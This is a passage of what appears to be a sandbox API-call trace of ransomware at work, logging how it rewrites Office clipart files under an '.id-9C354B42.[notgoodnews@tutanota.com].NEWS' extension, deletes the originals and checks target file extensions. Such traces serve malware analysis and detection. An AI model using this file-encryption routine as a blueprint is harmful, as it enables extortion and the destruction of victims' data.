office\\clipart\\pub60cor\\bl00130_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0260.135] GetLastError () returned 0x0 [0260.135] ReadFile (in: hFile=0x384, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x5b8, lpOverlapped=0x0) returned 1 [0260.580] WriteFile (in: hFile=0x3bc, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0262.267] ReadFile (in: hFile=0x384, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0262.267] WriteFile (in: hFile=0x3bc, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.267] SetEndOfFile (hFile=0x3bc) returned 1 [0262.566] CloseHandle (hObject=0x3bc) returned 1 [0262.567] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0262.567] SetEndOfFile (hFile=0x384) returned 1 [0262.581] CloseHandle (hObject=0x384) returned 1 [0262.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0262.808] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf")) returned 1 [0264.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0264.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0264.311] lstrlenW (lpString=".doc") returned 4 [0264.311] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.311] lstrlenW (lpString=".docx") returned 5 [0264.311] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0264.311] lstrlenW (lpString=".pdf") returned 4 [0264.311] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.311] lstrlenW (lpString=".xls") returned 4 [0264.311] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.311] lstrlenW (lpString=".xlsx") returned 5 [0264.311] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0264.311] lstrlenW (lpString=".ppt") returned 4 [0264.311] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0264.312] lstrlenW (lpString=".zip") returned 4 [0264.312] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.312] lstrlenW (lpString=".rar") returned 4 [0264.312] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.312] lstrlenW (lpString=".bz2") returned 4 [0264.312] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.312] lstrlenW (lpString=".7z") returned 3 [0264.312] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0264.312] lstrlenW (lpString=".dbf") returned 4 [0264.312] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0264.313] lstrlenW (lpString=".1cd") returned 4 [0264.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0264.313] lstrlenW (lpString=".jpg") returned 4 [0264.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0264.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0264.313] lstrlenW (lpString=".doc") returned 4 [0264.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.314] lstrlenW (lpString=".docx") returned 5 [0264.314] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0264.314] lstrlenW (lpString=".pdf") returned 4 [0264.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.314] lstrlenW (lpString=".xls") returned 4 [0264.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.314] lstrlenW (lpString=".xlsx") returned 5 [0264.314] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0264.314] lstrlenW (lpString=".ppt") returned 4 [0264.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0264.314] lstrlenW (lpString=".zip") returned 4 [0264.315] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.315] lstrlenW (lpString=".rar") returned 4 [0264.315] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.315] lstrlenW (lpString=".bz2") returned 4 [0264.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.315] lstrlenW (lpString=".7z") returned 3 [0264.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0264.315] lstrlenW (lpString=".dbf") returned 4 [0264.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0264.316] lstrlenW (lpString=".1cd") returned 4 [0264.316] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0264.316] lstrlenW (lpString=".jpg") returned 4 [0264.316] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.317] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0264.317] lstrlenW (lpString="BL00254_.WMF") returned 12 [0264.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0264.856] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=1736) returned 1 [0264.856] CloseHandle (hObject=0x370) returned 1 [0264.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf")) returned 0x20 [0265.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0265.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0265.212] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0265.212] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0265.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0265.213] GetLastError () returned 0x0 [0265.214] ReadFile (in: hFile=0x3a0, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x6c8, lpOverlapped=0x0) returned 1 [0265.244] WriteFile (in: hFile=0x3a4, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x6d0, lpOverlapped=0x0) returned 1 [0265.247] ReadFile (in: hFile=0x3a0, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0265.248] WriteFile (in: hFile=0x3a4, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.248] SetEndOfFile (hFile=0x3a4) returned 1 [0265.781] CloseHandle (hObject=0x3a4) returned 1 [0265.782] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0265.782] SetEndOfFile (hFile=0x3a0) returned 1 [0265.788] CloseHandle (hObject=0x3a0) returned 1 [0265.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0265.905] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf")) returned 1 [0265.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0265.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0265.907] lstrlenW (lpString=".doc") returned 4 [0265.907] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.907] lstrlenW (lpString=".docx") returned 5 [0265.907] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.907] lstrlenW (lpString=".pdf") returned 4 [0265.907] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.907] lstrlenW (lpString=".xls") returned 4 [0265.907] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.907] lstrlenW (lpString=".xlsx") returned 5 [0265.907] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.908] lstrlenW (lpString=".ppt") returned 4 [0265.908] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0265.908] lstrlenW (lpString=".zip") returned 4 [0265.908] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.908] lstrlenW (lpString=".rar") returned 4 [0265.908] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.908] lstrlenW (lpString=".bz2") returned 4 [0265.908] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.908] lstrlenW (lpString=".7z") returned 3 [0265.908] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0265.908] lstrlenW (lpString=".dbf") returned 4 [0265.908] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0265.909] lstrlenW (lpString=".1cd") returned 4 [0265.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0265.909] lstrlenW (lpString=".jpg") returned 4 [0265.909] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0265.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0265.909] lstrlenW (lpString=".doc") returned 4 [0265.909] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.910] lstrlenW (lpString=".docx") returned 5 [0265.910] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.910] lstrlenW (lpString=".pdf") returned 4 [0265.910] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.910] lstrlenW (lpString=".xls") returned 4 [0265.910] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.910] lstrlenW (lpString=".xlsx") returned 5 [0265.910] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.910] lstrlenW (lpString=".ppt") returned 4 [0265.910] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0265.911] lstrlenW (lpString=".zip") returned 4 [0265.911] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.911] lstrlenW (lpString=".rar") returned 4 [0265.911] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.911] lstrlenW (lpString=".bz2") returned 4 [0265.911] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.911] lstrlenW (lpString=".7z") returned 3 [0265.911] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0265.911] lstrlenW (lpString=".dbf") returned 4 [0265.911] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0265.911] lstrlenW (lpString=".1cd") returned 4 [0265.912] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0265.912] lstrlenW (lpString=".jpg") returned 4 [0265.912] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.912] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0265.912] lstrlenW (lpString="BL00265_.WMF") returned 12 [0265.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0265.913] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=5752) returned 1 [0265.913] CloseHandle (hObject=0x39c) returned 1 [0265.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf")) returned 0x20 [0265.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0265.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0265.914] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0265.915] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0265.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.915] GetLastError () returned 0x0 [0265.916] ReadFile (in: hFile=0x39c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x1678, lpOverlapped=0x0) returned 1 [0266.133] WriteFile (in: hFile=0x390, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x1680, lpOverlapped=0x0) returned 1 [0266.136] ReadFile (in: hFile=0x39c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0266.136] WriteFile (in: hFile=0x390, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.137] SetEndOfFile (hFile=0x390) returned 1 [0266.447] CloseHandle (hObject=0x390) returned 1 [0266.447] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0266.447] SetEndOfFile (hFile=0x39c) returned 1 [0266.464] CloseHandle (hObject=0x39c) returned 1 [0266.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0266.485] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf")) returned 1 [0266.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0266.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0266.486] lstrlenW (lpString=".doc") returned 4 [0266.486] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.486] lstrlenW (lpString=".docx") returned 5 [0266.486] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.486] lstrlenW (lpString=".pdf") returned 4 [0266.486] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.486] lstrlenW (lpString=".xls") returned 4 [0266.486] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.486] lstrlenW (lpString=".xlsx") returned 5 [0266.486] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.486] lstrlenW (lpString=".ppt") returned 4 [0266.486] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0266.487] lstrlenW (lpString=".zip") returned 4 [0266.487] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.487] lstrlenW (lpString=".rar") returned 4 [0266.487] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.487] lstrlenW (lpString=".bz2") returned 4 [0266.487] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.487] lstrlenW (lpString=".7z") returned 3 [0266.488] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0266.488] lstrlenW (lpString=".dbf") returned 4 [0266.488] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0266.488] lstrlenW (lpString=".1cd") returned 4 [0266.488] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0266.489] lstrlenW (lpString=".jpg") returned 4 [0266.489] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0266.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0266.489] lstrlenW (lpString=".doc") returned 4 [0266.489] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.489] lstrlenW (lpString=".docx") returned 5 [0266.489] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.489] lstrlenW (lpString=".pdf") returned 4 [0266.489] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.490] lstrlenW (lpString=".xls") returned 4 [0266.490] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.490] lstrlenW (lpString=".xlsx") returned 5 [0266.490] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.490] lstrlenW (lpString=".ppt") returned 4 [0266.490] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0266.490] lstrlenW (lpString=".zip") returned 4 [0266.490] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.490] lstrlenW (lpString=".rar") returned 4 [0266.490] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.490] lstrlenW (lpString=".bz2") returned 4 [0266.490] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.491] lstrlenW (lpString=".7z") returned 3 [0266.491] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0266.491] lstrlenW (lpString=".dbf") returned 4 [0266.491] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0266.491] lstrlenW (lpString=".1cd") returned 4 [0266.491] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0266.491] lstrlenW (lpString=".jpg") returned 4 [0266.491] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.492] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0266.492] lstrlenW (lpString="BL00270_.WMF") returned 12 [0266.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0266.535] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=3016) returned 1 [0266.535] CloseHandle (hObject=0x3ac) returned 1 [0266.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf")) returned 0x20 [0266.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0266.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0266.536] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0266.536] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0266.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0266.537] GetLastError () returned 0x0 [0266.537] ReadFile (in: hFile=0x3ac, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0xbc8, lpOverlapped=0x0) returned 1 [0266.839] WriteFile (in: hFile=0x370, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x31afc9c, 